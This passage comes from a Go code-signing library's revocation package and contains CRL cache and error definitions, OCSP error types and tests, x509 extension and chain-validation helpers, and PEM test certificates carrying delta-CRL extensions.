"context" 17 | 18 | // Cache is an interface that specifies methods used for caching 19 | type Cache interface { 20 | // Get retrieves the CRL bundle with the given url 21 | // 22 | // url is the key to retrieve the CRL bundle 23 | // 24 | // if the key does not exist or the content is expired, return ErrCacheMiss. 25 | Get(ctx context.Context, url string) (*Bundle, error) 26 | 27 | // Set stores the CRL bundle with the given url 28 | // 29 | // url is the key to store the CRL bundle 30 | // bundle is the CRL collections to store 31 | Set(ctx context.Context, url string, bundle *Bundle) error 32 | } 33 | -------------------------------------------------------------------------------- /revocation/crl/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package crl 15 | 16 | import "errors" 17 | 18 | // ErrCacheMiss is returned when a cache miss occurs. 19 | var ErrCacheMiss = errors.New("cache miss") 20 | 21 | // errDeltaCRLNotFound is returned when a delta CRL is not found. 22 | var errDeltaCRLNotFound = errors.New("delta CRL not found") 23 | -------------------------------------------------------------------------------- /revocation/crl/testdata/certificateWith2DeltaCRL.cer: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIFdTCCA92gAwIBAgIUaHnHWrIVx0qzAZIwvELkQUEs+3cwDQYJKoZIhvcNAQEL 3 | BQAwYTEjMCEGCgmSJomT8ixkAQEME2MtMG53d296cXZhd3ZhbzNlY2gxFTATBgNV 4 | BAMMDE1hbmFnZW1lbnRDQTEjMCEGA1UECgwaRUpCQ0EgQ29udGFpbmVyIFF1aWNr 5 | c3RhcnQwHhcNMjQxMTI1MDc1NzI3WhcNMjYxMTI1MDc1NzI2WjAYMRYwFAYDVQQD 6 | DA1Ob3RhdGlvblRlc3QzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAuJlXlrTm 7 | VhEiLz75HgJlZGm0TE7W/7mYn0m03vV+9tBEA/ZV50ACkMDY0ewxxh4Ko6UsGq71 8 | E466hSVggiaYaE4AdbL5kAolsnEm9/EDfYQNfgiQw0BI7axri9tJ19yZhj4Es31+ 9 | j4RJHAydB4i/qJi6T8cITdT6ViyzWM6AWGl7yRajggJ0MIICcDAMBgNVHRMBAf8E 10 | AjAAMB8GA1UdIwQYMBaAFFPceeG3G4d5oezFSybFwehynbPqMIIBTQYDVR0uBIIB 11 | RDCCAUAwggE8oIIBOKCCATSGgZdodHRwOi8vbG9jYWxob3N0OjgwL2VqYmNhL3B1 12 | YmxpY3dlYi93ZWJkaXN0L2NlcnRkaXN0P2NtZD1kZWx0YWNybCZpc3N1ZXI9VUlE 13 | JTNEYy0wbnd3b3pxdmF3dmFvM2VjaCUyQ0NOJTNETWFuYWdlbWVudENBJTJDTyUz 14 | REVKQkNBK0NvbnRhaW5lcitRdWlja3N0YXJ0hoGXaHR0cDovL2xvY2FsaG9zdDo4 15 | MC9lamJjYS9wdWJsaWN3ZWIvd2ViZGlzdC9jZXJ0ZGlzdD9jbWQ9ZGVsdGFjcmwm 16 | aXNzdWVyPVVJRCUzRGMtMG53d296cXZhd3ZhbzNlY2glMkNDTiUzRE1hbmFnZW1l 17 | bnRDQSUyQ08lM0RFSkJDQStDb250YWluZXIrUXVpY2tzdGFydDATBgNVHSUEDDAK 18 | BggrBgEFBQcDATCBqQYDVR0fBIGhMIGeMIGboIGYoIGVhoGSaHR0cDovL2xvY2Fs 19 | aG9zdDo4MC9lamJjYS9wdWJsaWN3ZWIvd2ViZGlzdC9jZXJ0ZGlzdD9jbWQ9Y3Js 20 | Jmlzc3Vlcj1VSUQlM0RjLTBud3dvenF2YXd2YW8zZWNoJTJDQ04lM0RNYW5hZ2Vt 21 | ZW50Q0ElMkNPJTNERUpCQ0ErQ29udGFpbmVyK1F1aWNrc3RhcnQwHQYDVR0OBBYE 22 | FDHE82/06xOocYbvMIyGt2gofk88MA4GA1UdDwEB/wQEAwIFoDANBgkqhkiG9w0B 23 | AQsFAAOCAYEAV7G7WMPn3tQNqB8RxYATV3eVhB3WC5BxqBbQzp2loNycDRmX95fa 24 | 7EV5xcPIUv42B+TzLu/ann9FLOMkqEhA+F5zsEomikUA+L4cuIWLXUhwIWwE2I/p 25 | fgHJ61JtMMxv3rWQHyo6YpzpIAG23oxGXzrlN4/oNfWzWMIYlcl4xiHxC2vOKnNO 26 | wId3Ck3jsJE10tImdD/tQYXh7h5ueESyPUZtqM/g2QPap+tEHArpgfAQdpEvRj1v 27 | ZWAotcEIr+a5popE56UaE4a29DspVTA1rVchhKYl2gpDxieSQgQr61fWHXzRoKcd 28 | FZ+NgqJuwd9CxrXbkl6EKDpefivwz9G4b3b6R8lMl+wmeTgPvSUYO34c8GsF143H 29 | V/VKNoBvoz44QyLUf+1+XiHuUjfHaXCtXmDOoQ64M3d9gGrz23G5KJAUBubcbcdu 30 | 7Ah3D5zqvieGgoYt8qye1nsIVYC1KrYP2Kp5jWCadLvIwu2B0j7eA+LwN2MBWdlh 31 | dRTSOVkICjWU 32 | -----END CERTIFICATE----- 33 | -------------------------------------------------------------------------------- /revocation/crl/testdata/certificateWithDeltaCRL.cer: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIE1TCCAz2gAwIBAgIUaHnHWrIVx0qzAZIwvELkQUEs+3cwDQYJKoZIhvcNAQEL 3 | BQAwYTEjMCEGCgmSJomT8ixkAQEME2MtMG53d296cXZhd3ZhbzNlY2gxFTATBgNV 4 | BAMMDE1hbmFnZW1lbnRDQTEjMCEGA1UECgwaRUpCQ0EgQ29udGFpbmVyIFF1aWNr 5 | c3RhcnQwHhcNMjQxMTI1MDc1NzI3WhcNMjYxMTI1MDc1NzI2WjAYMRYwFAYDVQQD 6 | DA1Ob3RhdGlvblRlc3QzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAuJlXlrTm 7 | VhEiLz75HgJlZGm0TE7W/7mYn0m03vV+9tBEA/ZV50ACkMDY0ewxxh4Ko6UsGq71 8 | E466hSVggiaYaE4AdbL5kAolsnEm9/EDfYQNfgiQw0BI7axri9tJ19yZhj4Es31+ 9 | j4RJHAydB4i/qJi6T8cITdT6ViyzWM6AWGl7yRajggHUMIIB0DAMBgNVHRMBAf8E 10 | AjAAMB8GA1UdIwQYMBaAFFPceeG3G4d5oezFSybFwehynbPqMIGuBgNVHS4EgaYw 11 | gaMwgaCggZ2ggZqGgZdodHRwOi8vbG9jYWxob3N0OjgwL2VqYmNhL3B1YmxpY3dl 12 | Yi93ZWJkaXN0L2NlcnRkaXN0P2NtZD1kZWx0YWNybCZpc3N1ZXI9VUlEJTNEYy0w 13 | bnd3b3pxdmF3dmFvM2VjaCUyQ0NOJTNETWFuYWdlbWVudENBJTJDTyUzREVKQkNB 14 | K0NvbnRhaW5lcitRdWlja3N0YXJ0MBMGA1UdJQQMMAoGCCsGAQUFBwMBMIGpBgNV 15 | HR8EgaEwgZ4wgZuggZiggZWGgZJodHRwOi8vbG9jYWxob3N0OjgwL2VqYmNhL3B1 16 | YmxpY3dlYi93ZWJkaXN0L2NlcnRkaXN0P2NtZD1jcmwmaXNzdWVyPVVJRCUzRGMt 17 | MG53d296cXZhd3ZhbzNlY2glMkNDTiUzRE1hbmFnZW1lbnRDQSUyQ08lM0RFSkJD 18 | QStDb250YWluZXIrUXVpY2tzdGFydDAdBgNVHQ4EFgQUMcTzb/TrE6hxhu8wjIa3 19 | aCh+TzwwDgYDVR0PAQH/BAQDAgWgMA0GCSqGSIb3DQEBCwUAA4IBgQBXsbtYw+fe 20 | 1A2oHxHFgBNXd5WEHdYLkHGoFtDOnaWg3JwNGZf3l9rsRXnFw8hS/jYH5PMu79qe 21 | f0Us4ySoSED4XnOwSiaKRQD4vhy4hYtdSHAhbATYj+l+AcnrUm0wzG/etZAfKjpi 22 | nOkgAbbejEZfOuU3j+g19bNYwhiVyXjGIfELa84qc07Ah3cKTeOwkTXS0iZ0P+1B 23 | heHuHm54RLI9Rm2oz+DZA9qn60QcCumB8BB2kS9GPW9lYCi1wQiv5rmmikTnpRoT 24 | hrb0OylVMDWtVyGEpiXaCkPGJ5JCBCvrV9YdfNGgpx0Vn42Com7B30LGtduSXoQo 25 | Ol5+K/DP0bhvdvpHyUyX7CZ5OA+9JRg7fhzwawXXjcdX9Uo2gG+jPjhDItR/7X5e 26 | Ie5SN8dpcK1eYM6hDrgzd32AavPbcbkokBQG5txtx27sCHcPnOq+J4aChi3yrJ7W 27 | ewhVgLUqtg/YqnmNYJp0u8jC7YHSPt4D4vA3YwFZ2WF1FNI5WQgKNZQ= 28 | -----END CERTIFICATE----- 29 | -------------------------------------------------------------------------------- /revocation/crl/testdata/certificateWithIncompleteFreshestCRL.cer: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDmTCCAgGgAwIBAgIUaHnHWrIVx0qzAZIwvELkQUEs+3cwDQYJKoZIhvcNAQEL 3 | BQAwYTEjMCEGCgmSJomT8ixkAQEME2MtMG53d296cXZhd3ZhbzNlY2gxFTATBgNV 4 | BAMMDE1hbmFnZW1lbnRDQTEjMCEGA1UECgwaRUpCQ0EgQ29udGFpbmVyIFF1aWNr 5 | c3RhcnQwHhcNMjQxMTI1MDc1NzI3WhcNMjYxMTI1MDc1NzI2WjAYMRYwFAYDVQQD 6 | DA1Ob3RhdGlvblRlc3QzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAuJlXlrTm 7 | VhEiLz75HgJlZGm0TE7W/7mYn0m03vV+9tBEA/ZV50ACkMDY0ewxxh4Ko6UsGq71 8 | E466hSVggiaYaE4AdbL5kAolsnEm9/EDfYQNfgiQw0BI7axri9tJ19yZhj4Es31+ 9 | j4RJHAydB4i/qJi6T8cITdT6ViyzWM6AWGl7yRajgZkwgZYwDAYDVR0TAQH/BAIw 10 | ADAfBgNVHSMEGDAWgBRT3HnhtxuHeaHsxUsmxcHocp2z6jANBgNVHS4EBjAEMAKg 11 | ADATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHR8ECzAJMAegBaADhQH/MB0GA1Ud 12 | DgQWBBQxxPNv9OsTqHGG7zCMhrdoKH5PPDAOBgNVHQ8BAf8EBAMCBaAwDQYJKoZI 13 | hvcNAQELBQADggGBAFexu1jD597UDagfEcWAE1d3lYQd1guQcagW0M6dpaDcnA0Z 14 | l/eX2uxFecXDyFL+Ngfk8y7v2p5/RSzjJKhIQPhec7BKJopFAPi+HLiFi11IcCFs 15 | BNiP6X4ByetSbTDMb961kB8qOmKc6SABtt6MRl865TeP6DX1s1jCGJXJeMYh8Qtr 16 | zipzTsCHdwpN47CRNdLSJnQ/7UGF4e4ebnhEsj1GbajP4NkD2qfrRBwK6YHwEHaR 17 | L0Y9b2VgKLXBCK/muaaKROelGhOGtvQ7KVUwNa1XIYSmJdoKQ8YnkkIEK+tX1h18 18 | 0aCnHRWfjYKibsHfQsa125JehCg6Xn4r8M/RuG92+kfJTJfsJnk4D70lGDt+HPBr 19 | BdeNx1f1SjaAb6M+OEMi1H/tfl4h7lI3x2lwrV5gzqEOuDN3fYBq89txuSiQFAbm 20 | 3G3HbuwIdw+c6r4nhoKGLfKsntZ7CFWAtSq2D9iqeY1gmnS7yMLtgdI+3gPi8Ddj 21 | AVnZYXUU0jlZCAo1lA== 22 | -----END CERTIFICATE----- 23 | -------------------------------------------------------------------------------- /revocation/crl/testdata/certificateWithIncompleteFreshestCRL2.cer: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDlzCCAf+gAwIBAgIUaHnHWrIVx0qzAZIwvELkQUEs+3cwDQYJKoZIhvcNAQEL 3 | BQAwYTEjMCEGCgmSJomT8ixkAQEME2MtMG53d296cXZhd3ZhbzNlY2gxFTATBgNV 4 | BAMMDE1hbmFnZW1lbnRDQTEjMCEGA1UECgwaRUpCQ0EgQ29udGFpbmVyIFF1aWNr 5 | c3RhcnQwHhcNMjQxMTI1MDc1NzI3WhcNMjYxMTI1MDc1NzI2WjAYMRYwFAYDVQQD 6 | DA1Ob3RhdGlvblRlc3QzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAuJlXlrTm 7 | VhEiLz75HgJlZGm0TE7W/7mYn0m03vV+9tBEA/ZV50ACkMDY0ewxxh4Ko6UsGq71 8 | E466hSVggiaYaE4AdbL5kAolsnEm9/EDfYQNfgiQw0BI7axri9tJ19yZhj4Es31+ 9 | j4RJHAydB4i/qJi6T8cITdT6ViyzWM6AWGl7yRajgZcwgZQwDAYDVR0TAQH/BAIw 10 | ADAfBgNVHSMEGDAWgBRT3HnhtxuHeaHsxUsmxcHocp2z6jALBgNVHS4EBDACMAAw 11 | EwYDVR0lBAwwCgYIKwYBBQUHAwEwEgYDVR0fBAswCTAHoAWgA4UB/zAdBgNVHQ4E 12 | FgQUMcTzb/TrE6hxhu8wjIa3aCh+TzwwDgYDVR0PAQH/BAQDAgWgMA0GCSqGSIb3 13 | DQEBCwUAA4IBgQBXsbtYw+fe1A2oHxHFgBNXd5WEHdYLkHGoFtDOnaWg3JwNGZf3 14 | l9rsRXnFw8hS/jYH5PMu79qef0Us4ySoSED4XnOwSiaKRQD4vhy4hYtdSHAhbATY 15 | j+l+AcnrUm0wzG/etZAfKjpinOkgAbbejEZfOuU3j+g19bNYwhiVyXjGIfELa84q 16 | c07Ah3cKTeOwkTXS0iZ0P+1BheHuHm54RLI9Rm2oz+DZA9qn60QcCumB8BB2kS9G 17 | PW9lYCi1wQiv5rmmikTnpRoThrb0OylVMDWtVyGEpiXaCkPGJ5JCBCvrV9YdfNGg 18 | px0Vn42Com7B30LGtduSXoQoOl5+K/DP0bhvdvpHyUyX7CZ5OA+9JRg7fhzwawXX 19 | jcdX9Uo2gG+jPjhDItR/7X5eIe5SN8dpcK1eYM6hDrgzd32AavPbcbkokBQG5txt 20 | x27sCHcPnOq+J4aChi3yrJ7WewhVgLUqtg/YqnmNYJp0u8jC7YHSPt4D4vA3YwFZ 21 | 2WF1FNI5WQgKNZQ= 22 | -----END CERTIFICATE----- 23 | -------------------------------------------------------------------------------- /revocation/crl/testdata/certificateWithNonURIDeltaCRL.cer: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDnjCCAgagAwIBAgIUaHnHWrIVx0qzAZIwvELkQUEs+3cwDQYJKoZIhvcNAQEL 3 | BQAwYTEjMCEGCgmSJomT8ixkAQEME2MtMG53d296cXZhd3ZhbzNlY2gxFTATBgNV 4 | BAMMDE1hbmFnZW1lbnRDQTEjMCEGA1UECgwaRUpCQ0EgQ29udGFpbmVyIFF1aWNr 5 | c3RhcnQwHhcNMjQxMTI1MDc1NzI3WhcNMjYxMTI1MDc1NzI2WjAYMRYwFAYDVQQD 6 | DA1Ob3RhdGlvblRlc3QzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAuJlXlrTm 7 | VhEiLz75HgJlZGm0TE7W/7mYn0m03vV+9tBEA/ZV50ACkMDY0ewxxh4Ko6UsGq71 8 | E466hSVggiaYaE4AdbL5kAolsnEm9/EDfYQNfgiQw0BI7axri9tJ19yZhj4Es31+ 9 | j4RJHAydB4i/qJi6T8cITdT6ViyzWM6AWGl7yRajgZ4wgZswDAYDVR0TAQH/BAIw 10 | ADAfBgNVHSMEGDAWgBRT3HnhtxuHeaHsxUsmxcHocp2z6jASBgNVHS4ECzAJMAeg 11 | BaADhQH/MBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdHwQLMAkwB6AFoAOFAf8w 12 | HQYDVR0OBBYEFDHE82/06xOocYbvMIyGt2gofk88MA4GA1UdDwEB/wQEAwIFoDAN 13 | BgkqhkiG9w0BAQsFAAOCAYEAV7G7WMPn3tQNqB8RxYATV3eVhB3WC5BxqBbQzp2l 14 | oNycDRmX95fa7EV5xcPIUv42B+TzLu/ann9FLOMkqEhA+F5zsEomikUA+L4cuIWL 15 | XUhwIWwE2I/pfgHJ61JtMMxv3rWQHyo6YpzpIAG23oxGXzrlN4/oNfWzWMIYlcl4 16 | xiHxC2vOKnNOwId3Ck3jsJE10tImdD/tQYXh7h5ueESyPUZtqM/g2QPap+tEHArp 17 | gfAQdpEvRj1vZWAotcEIr+a5popE56UaE4a29DspVTA1rVchhKYl2gpDxieSQgQr 18 | 61fWHXzRoKcdFZ+NgqJuwd9CxrXbkl6EKDpefivwz9G4b3b6R8lMl+wmeTgPvSUY 19 | O34c8GsF143HV/VKNoBvoz44QyLUf+1+XiHuUjfHaXCtXmDOoQ64M3d9gGrz23G5 20 | KJAUBubcbcdu7Ah3D5zqvieGgoYt8qye1nsIVYC1KrYP2Kp5jWCadLvIwu2B0j7e 21 | A+LwN2MBWdlhdRTSOVkICjWU 22 | -----END CERTIFICATE----- 23 | -------------------------------------------------------------------------------- /revocation/crl/testdata/certificateWithZeroDeltaCRLURL.cer: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIENTCCAp2gAwIBAgIUaHnHWrIVx0qzAZIwvELkQUEs+3cwDQYJKoZIhvcNAQEL 3 | BQAwYTEjMCEGCgmSJomT8ixkAQEME2MtMG53d296cXZhd3ZhbzNlY2gxFTATBgNV 4 | BAMMDE1hbmFnZW1lbnRDQTEjMCEGA1UECgwaRUpCQ0EgQ29udGFpbmVyIFF1aWNr 5 | c3RhcnQwHhcNMjQxMTI1MDc1NzI3WhcNMjYxMTI1MDc1NzI2WjAYMRYwFAYDVQQD 6 | DA1Ob3RhdGlvblRlc3QzMIGbMBAGByqGSM49AgEGBSuBBAAjA4GGAAQAuJlXlrTm 7 | VhEiLz75HgJlZGm0TE7W/7mYn0m03vV+9tBEA/ZV50ACkMDY0ewxxh4Ko6UsGq71 8 | E466hSVggiaYaE4AdbL5kAolsnEm9/EDfYQNfgiQw0BI7axri9tJ19yZhj4Es31+ 9 | j4RJHAydB4i/qJi6T8cITdT6ViyzWM6AWGl7yRajggE0MIIBMDAMBgNVHRMBAf8E 10 | AjAAMB8GA1UdIwQYMBaAFFPceeG3G4d5oezFSybFwehynbPqMA8GA1UdLgQIMAYw 11 | BKACoAAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwgakGA1UdHwSBoTCBnjCBm6CBmKCB 12 | lYaBkmh0dHA6Ly9sb2NhbGhvc3Q6ODAvZWpiY2EvcHVibGljd2ViL3dlYmRpc3Qv 13 | Y2VydGRpc3Q/Y21kPWNybCZpc3N1ZXI9VUlEJTNEYy0wbnd3b3pxdmF3dmFvM2Vj 14 | aCUyQ0NOJTNETWFuYWdlbWVudENBJTJDTyUzREVKQkNBK0NvbnRhaW5lcitRdWlj 15 | a3N0YXJ0MB0GA1UdDgQWBBQxxPNv9OsTqHGG7zCMhrdoKH5PPDAOBgNVHQ8BAf8E 16 | BAMCBaAwDQYJKoZIhvcNAQELBQADggGBAFexu1jD597UDagfEcWAE1d3lYQd1guQ 17 | cagW0M6dpaDcnA0Zl/eX2uxFecXDyFL+Ngfk8y7v2p5/RSzjJKhIQPhec7BKJopF 18 | APi+HLiFi11IcCFsBNiP6X4ByetSbTDMb961kB8qOmKc6SABtt6MRl865TeP6DX1 19 | s1jCGJXJeMYh8QtrzipzTsCHdwpN47CRNdLSJnQ/7UGF4e4ebnhEsj1GbajP4NkD 20 | 2qfrRBwK6YHwEHaRL0Y9b2VgKLXBCK/muaaKROelGhOGtvQ7KVUwNa1XIYSmJdoK 21 | Q8YnkkIEK+tX1h180aCnHRWfjYKibsHfQsa125JehCg6Xn4r8M/RuG92+kfJTJfs 22 | Jnk4D70lGDt+HPBrBdeNx1f1SjaAb6M+OEMi1H/tfl4h7lI3x2lwrV5gzqEOuDN3 23 | fYBq89txuSiQFAbm3G3HbuwIdw+c6r4nhoKGLfKsntZ7CFWAtSq2D9iqeY1gmnS7 24 | yMLtgdI+3gPi8DdjAVnZYXUU0jlZCAo1lA== 25 | -----END CERTIFICATE----- 26 | -------------------------------------------------------------------------------- /revocation/crl/testdata/crlWithMultipleFreshestCRLs.crl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/revocation/crl/testdata/crlWithMultipleFreshestCRLs.crl -------------------------------------------------------------------------------- /revocation/crl/testdata/delta.crl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sugarylentil/notation-core-go/8fa692938edb49fa29531af685de460dac4db28c/revocation/crl/testdata/delta.crl -------------------------------------------------------------------------------- /revocation/internal/ocsp/errors.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package ocsp provides methods for checking the OCSP revocation status of a 15 | // certificate chain, as well as errors related to these checks 16 | package ocsp 17 | 18 | import ( 19 | "fmt" 20 | "time" 21 | ) 22 | 23 | // RevokedError is returned when the certificate's status for OCSP is 24 | // ocsp.Revoked 25 | type RevokedError struct{} 26 | 27 | func (e RevokedError) Error() string { 28 | return "certificate is revoked via OCSP" 29 | } 30 | 31 | // UnknownStatusError is returned when the certificate's status for OCSP is 32 | // ocsp.Unknown 33 | type UnknownStatusError struct{} 34 | 35 | func (e UnknownStatusError) Error() string { 36 | return "certificate has unknown status via OCSP" 37 | } 38 | 39 | // GenericError is returned when there is an error during the OCSP revocation 40 | // check, not necessarily a revocation 41 | type GenericError struct { 42 | Err error 43 | } 44 | 45 | func (e GenericError) Error() string { 46 | msg := "error checking revocation status via OCSP" 47 | if e.Err != nil { 48 | return fmt.Sprintf("%s: %v", msg, e.Err) 49 | } 50 | return msg 51 | } 52 | 53 | // NoServerError is returned when the OCSPServer is not specified. 54 | type NoServerError struct{} 55 | 56 | func (e NoServerError) Error() string { 57 | return "no valid OCSP server found" 58 | } 59 | 60 | // TimeoutError is returned when the connection attempt to an OCSP URL exceeds 61 | // the specified threshold 62 | type TimeoutError struct { 63 | timeout time.Duration 64 | } 65 | 66 | func (e TimeoutError) Error() string { 67 | return fmt.Sprintf("exceeded timeout threshold of %.2f seconds for OCSP check", e.timeout.Seconds()) 68 | } 69 | -------------------------------------------------------------------------------- /revocation/internal/ocsp/errors_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package ocsp 15 | 16 | import ( 17 | "errors" 18 | "fmt" 19 | "testing" 20 | "time" 21 | ) 22 | 23 | func TestRevokedError(t *testing.T) { 24 | err := &RevokedError{} 25 | expectedMsg := "certificate is revoked via OCSP" 26 | 27 | if err.Error() != expectedMsg { 28 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 29 | } 30 | } 31 | 32 | func TestUnknownStatusError(t *testing.T) { 33 | err := &UnknownStatusError{} 34 | expectedMsg := "certificate has unknown status via OCSP" 35 | 36 | if err.Error() != expectedMsg { 37 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 38 | } 39 | } 40 | 41 | func TestGenericError(t *testing.T) { 42 | t.Run("without_inner_error", func(t *testing.T) { 43 | err := &GenericError{} 44 | expectedMsg := "error checking revocation status via OCSP" 45 | 46 | if err.Error() != expectedMsg { 47 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 48 | } 49 | }) 50 | 51 | t.Run("with_inner_error", func(t *testing.T) { 52 | err := &GenericError{Err: errors.New("inner error")} 53 | expectedMsg := "error checking revocation status via OCSP: inner error" 54 | 55 | if err.Error() != expectedMsg { 56 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 57 | } 58 | }) 59 | } 60 | 61 | func TestNoServerError(t *testing.T) { 62 | err := &NoServerError{} 63 | expectedMsg := "no valid OCSP server found" 64 | 65 | if err.Error() != expectedMsg { 66 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 67 | } 68 | } 69 | 70 | func TestTimeoutError(t *testing.T) { 71 | duration := 5 * time.Second 72 | err := &TimeoutError{duration} 73 | expectedMsg := fmt.Sprintf("exceeded timeout threshold of %.2f seconds for OCSP check", duration.Seconds()) 74 | 75 | if err.Error() != expectedMsg { 76 | t.Errorf("Expected %v but got %v", expectedMsg, err.Error()) 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /revocation/internal/x509util/extension.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509util 15 | 16 | import ( 17 | "crypto/x509/pkix" 18 | "encoding/asn1" 19 | "slices" 20 | ) 21 | 22 | // FindExtensionByOID finds the extension by the given OID. 23 | func FindExtensionByOID(extensions []pkix.Extension, oid asn1.ObjectIdentifier) *pkix.Extension { 24 | idx := slices.IndexFunc(extensions, func(ext pkix.Extension) bool { 25 | return ext.Id.Equal(oid) 26 | }) 27 | if idx < 0 { 28 | return nil 29 | } 30 | return &extensions[idx] 31 | } 32 | -------------------------------------------------------------------------------- /revocation/internal/x509util/extension_test.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | package x509util 15 | 16 | import ( 17 | "crypto/x509/pkix" 18 | "encoding/asn1" 19 | "testing" 20 | ) 21 | 22 | func TestFindExtensionByOID(t *testing.T) { 23 | oid1 := asn1.ObjectIdentifier{1, 2, 3, 4} 24 | oid2 := asn1.ObjectIdentifier{1, 2, 3, 5} 25 | extensions := []pkix.Extension{ 26 | {Id: oid1, Value: []byte("value1")}, 27 | {Id: oid2, Value: []byte("value2")}, 28 | } 29 | 30 | tests := []struct { 31 | name string 32 | oid asn1.ObjectIdentifier 33 | extensions []pkix.Extension 34 | expected *pkix.Extension 35 | }{ 36 | { 37 | name: "Extension found", 38 | oid: oid1, 39 | extensions: extensions, 40 | expected: &extensions[0], 41 | }, 42 | { 43 | name: "Extension not found", 44 | oid: asn1.ObjectIdentifier{1, 2, 3, 6}, 45 | extensions: extensions, 46 | expected: nil, 47 | }, 48 | } 49 | 50 | for _, tt := range tests { 51 | t.Run(tt.name, func(t *testing.T) { 52 | result := FindExtensionByOID(tt.extensions, tt.oid) 53 | if result != tt.expected { 54 | t.Errorf("expected %v, got %v", tt.expected, result) 55 | } 56 | }) 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /revocation/internal/x509util/validate.go: -------------------------------------------------------------------------------- 1 | // Copyright The Notary Project Authors. 2 | // Licensed under the Apache License, Version 2.0 (the "License"); 3 | // you may not use this file except in compliance with the License. 4 | // You may obtain a copy of the License at 5 | // 6 | // http://www.apache.org/licenses/LICENSE-2.0 7 | // 8 | // Unless required by applicable law or agreed to in writing, software 9 | // distributed under the License is distributed on an "AS IS" BASIS, 10 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 11 | // See the License for the specific language governing permissions and 12 | // limitations under the License. 13 | 14 | // Package x509util provides the method to validate the certificate chain for a 15 | // specific purpose, including code signing and timestamping. It also provides 16 | // the method to find the extension by the given OID. 17 | package x509util 18 | 19 | import ( 20 | "crypto/x509" 21 | "fmt" 22 | 23 | "github.com/sugarylentil/notation-core-go/revocation/purpose" 24 | "github.com/sugarylentil/notation-core-go/revocation/result" 25 | coreX509 "github.com/sugarylentil/notation-core-go/x509" 26 | ) 27 | 28 | // ValidateChain checks the certificate chain for a specific purpose, including 29 | // code signing and timestamping. 30 | func ValidateChain(certChain []*x509.Certificate, certChainPurpose purpose.Purpose) error { 31 | switch certChainPurpose { 32 | case purpose.CodeSigning: 33 | // Since ValidateCodeSigningCertChain is using authentic signing time, 34 | // signing time may be zero. 35 | // Thus, it is better to pass nil here than fail for a cert's NotBefore 36 | // being after zero time 37 | if err := coreX509.ValidateCodeSigningCertChain(certChain, nil); err != nil { 38 | return result.InvalidChainError{Err: err} 39 | } 40 | case purpose.Timestamping: 41 | if err := coreX509.ValidateTimestampingCertChain(certChain); err != 